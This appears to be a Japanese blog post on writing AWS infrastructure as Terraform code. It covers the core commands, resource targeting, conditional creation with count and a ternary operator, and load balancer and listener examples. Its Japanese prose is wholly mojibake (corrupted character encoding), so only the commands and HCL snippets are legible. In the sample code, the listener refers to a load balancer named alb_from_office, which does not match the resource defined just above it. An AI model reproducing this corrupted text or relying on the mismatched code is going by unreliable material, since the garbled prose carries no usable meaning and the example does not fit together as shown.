æŒç®å ã«ã€ããŠæžããŠãããŸãã ããããTerraformã§ã³ãŒãåããŠããæ¹ã®å©ãã«ãªããã°ãšæããŸãã åŸåã¯ä»åã®ã³ãŒãåãéããŠã®å人çãªææ³ãæžããŠãããŸãã 1ïŒç®æ¬¡ 1ïŒç®æ¬¡ 2. terraformã³ãã³ã 3. ã³ãŒã 4. ã³ãŒãåãéã㊠5. çµããã« 6. åè 2. terraformã³ãã³ã äž»ã«ä»¥äžã®ã³ãã³ãã䜿çšããŸãã #åæå terraform init #ä»®å®è¡ terraform plan #æ¬å®è¡ terraform apply #ãªãœãŒã¹å蟌 terraform import terraform init æžããã³ãŒãã§ä»ã³ãã³ããå®è¡ããããã®æºåãããŸãã ãããå®è¡ããŠãããªããšplanãapplyã¯ã§ããŸããã terraform plan å®éã«å€æŽã¯è¡ããã远å /倿Ž/åé€ã®ç¢ºèªãã§ããŸã(ããããdry-run)ã planã¯å®ç°å¢ã§ã¯ãªã terraform.tfstate ãšã®æ¯èŒãè¡ããŸãã terraform.tfstateã¯ãªãœãŒã¹æ
å ±ãèšèŒãããŠãã json ãã¡ã€ã«ã§ãã terraform apply ã³ãŒããå
ã«å€æŽãè¡ããŸãã planã§ãšã©ãŒãåºãŠããªãå Žåã§ããapplyã§åºãããšããããŸãã terraform import ã³ãŒãåãããªãœãŒã¹ããã§ã«ååšããå Žåããã®ã³ãã³ããçšã㊠terraform.tfstate ã«åã蟌ã¿ãŸãã importã®æžåŒã¯å
¬åŒããã¥ã¡ã³ãã®åãªãœãŒã¹ã®ããŒãžäžéšã«ãããŸãã äžèšä»¥å€ã«ãterraform.tfstateãåç
§ããã³ãã³ãã§ terraform state list ïŒterraform.tfstateã§ç®¡çããŠãããªãœãŒã¹ã®ãªã¹ã terraform state show "ãªãœãŒã¹å" ïŒ"ãªãœãŒã¹å"ã®æ
å ± ããããŸãã ãã®ã»ããplan/applyã®å®è¡æã« -target=ç¹å®ãªãœãŒã¹ ãšåŒæ°ãæž¡ãããšã§å
šäœã§ã¯ãªã察象ãçµãããšãå¯èœã«ãªããŸãã example_ec2_instance ãšãããªãœãŒã¹ã®ã¿planãå®è¡ããå Žåã¯ã terraform plan -target=module.aws_ec2.example_ec2_instance è€æ°ã®ãªãœãŒã¹ã«ãããå Žåã¯ã -target= ãå«ãã¹ããŒã¹åºåãã§åŒæ°ã远å ããã°å¯èœã§ãã 3. ã³ãŒã ãªãœãŒã¹ããšã«å¿
èŠãªèšå®é
ç®ã¯å
¬åŒããã¥ã¡ã³ããåããããããšæããŸãã VSCode ã䜿çšãããŠããå Žåã¯ã æ¡åŒµæ©èœ ã«ãHashiCorp TerraformãããããŸãã®ã§ããã¡ããã€ã³ã¹ããŒã«ããããšã§èšå®é
ç®ãªã©ã®è£å®ãããŠãããŸãã count äžé
æŒç®å ã䜿çšããããšãã§ããæ¬çª/æ€èšŒç°å¢ã§å Žååããããããšãå¯èœã§ãã ãã ããå€çšãããããšå¯èªæ§ãäžããããããªãã¹ã䜿ããªããŠããããã«ããæ¹ãç¡é£ã ãšæããŸãã»ã»ã»ã 以äžãcountãçšãã äžé
æŒç®å ã®äœ¿ãæ¹ã®äžäŸã§ãã count = "${var.a == "å€" ? "0" : "1"}" 倿°aã«æ ŒçŽãããŠããå€ãšãæ¡ä»¶ãšãªãå€ãäžèŽããŠããªãå Žåã«ããã®ãªãœãŒã¹ãäœæãããŸãã main.tfã§å€æ° env ã«staging以å€ãæ ŒçŽãããŠããå Žåã«ããapplication_loadbalancer_publicããäœæãããŸãã module " elb_module " { source = " ../../modules/elb " env = " product " â»çç¥ } resource " aws_lb " " application_loadbalancer_public " { count = " ${var.env == "staging" ? " 0 " : " 1 " } " name = " application-loadbalancer-public " subnets = [ var.example_subnet1_id, var.example_subnet2_id ] load_balancer_type = " application " internal = false enable_deletion_protection = false desync_mitigation_mode = " defensive " xff_header_processing_mode = " append " idle_timeout = 60 access_logs { bucket = " example-bucket " enabled = true prefix = " AWSLogs " } } ããããããããŠäœæããLBã«å¯ŸããŠãªã¹ããŒãèšå®ããããšãããšã ãã®ãŸãŸã§ã¯ãšã©ãŒãšãªã£ãŠããŸããŸãã LBã®ARNãåç
§ãããéã«ã€ã³ããã¯ã¹ãæå®---â ããŠãããå¿
èŠããããŸãã resource " aws_lb_listener " " listener_https " { count = " ${var.env == "staging" ? " 0 " : " 1 " } " load_balancer_arn = aws_lb.alb_from_office [ 0 ] .arn --- â port = " 443 " protocol = " HTTPS " ssl_policy = " ELBSecurityPolicy-2016-08 " certificate_arn = var.default_certificate_arn tags = {} tags_all = {} default_action { type = " fixed-response " order = 1 fixed_response { content_type = " text/plain " message_body = " Not Found " status_code = " 404 " } } } for_each åãæ§æã®ãªãœãŒã¹ãè€æ°å¿
èŠãªå Žåã«æçšã§ãã ä»åã®ã³ãŒãåã§ã¯for_eachã䜿çšããŠããªããããå
·äœçãªäœ¿çšäŸã¯å²æãããŠé ããŸãã ãã¡ããå
¬åŒããã¥ã¡ã³ãã«è©³çްããããŸãã 4. ã³ãŒãåãéã㊠ã³ãŒãæžããããã»ã»ã» AWS ã®ãªãœãŒã¹ãèŠãŠã³ãŒãåããŠããããšã¯èŠã§ã¯ãããŸããã§ãããã importã§ã®ãªãœãŒã¹åã蟌ã¿ãå人çã«å€§å€ã§ããã ãªãœãŒã¹åã蟌ã¿ã«ã¯ARNãIDãå¿
èŠãšãªããŸãã ãªãœãŒã¹ãäžã€ãã€åã蟌ãŸãªããã°ãªãããroute53ã§ããã°ã¬ã³ãŒãæ¯ãLBã§ããã°ã«ãŒã«æ¯ãªã©çްãããªãœãŒã¹ãããããæ°ãé ããªãããã§ããã éææ ã³ãŒããæžããã£ãŠplanå®è¡æã®ãšã©ãŒãè§£æ¶ãããæçµçã«ã³ãŒããšç°å¢ã§å·®åãåºãªããšãªã£ãæã®éææã¯å€§ããã£ãã§ãã ä»åŸã¯Terraformãéçšã«ä¹ããŠãããã³ãŒãããã©ãã·ã¥ã¢ããããŠããå¿
èŠããããŸããäžåºåãã€ããŸããã æçµçãªãŽãŒã«ã¯CI/CDã®ãã€ãã©ã€ã³ãå®è£
ããŠãã€ã³ãã©éšåãèªååããŠãããã°ãšæã£ãŠããŸãã 5. çµããã« ä»å¹Žã®4æããæ¬æ Œçã« AWS ã«è§Šãå§ããTerraform?äœãã?ç¶æ
ããã¹ã¿ãŒããã AWS ç°å¢ã®ã³ãŒãåã§ããã æåã® ãã£ã¬ã¯ã ãªæ§æã«æ©ãã ããplanãå®è¡ãããšåºãŠããå·®åãäžã€ãã€æœ°ããªã©ã倧å€ãªããšãå€ããããŸããã ã§ãããããããããšã¯ã§ããã®ã§æ¬¡ã®ã¹ããããèªä¿¡ããã£ãŠé²ããŠãããè¯ãäœéšã«ã¯ãªã£ãããšæããŸãã 6. åè Terraform Registry Terraform | HashiCorp Developer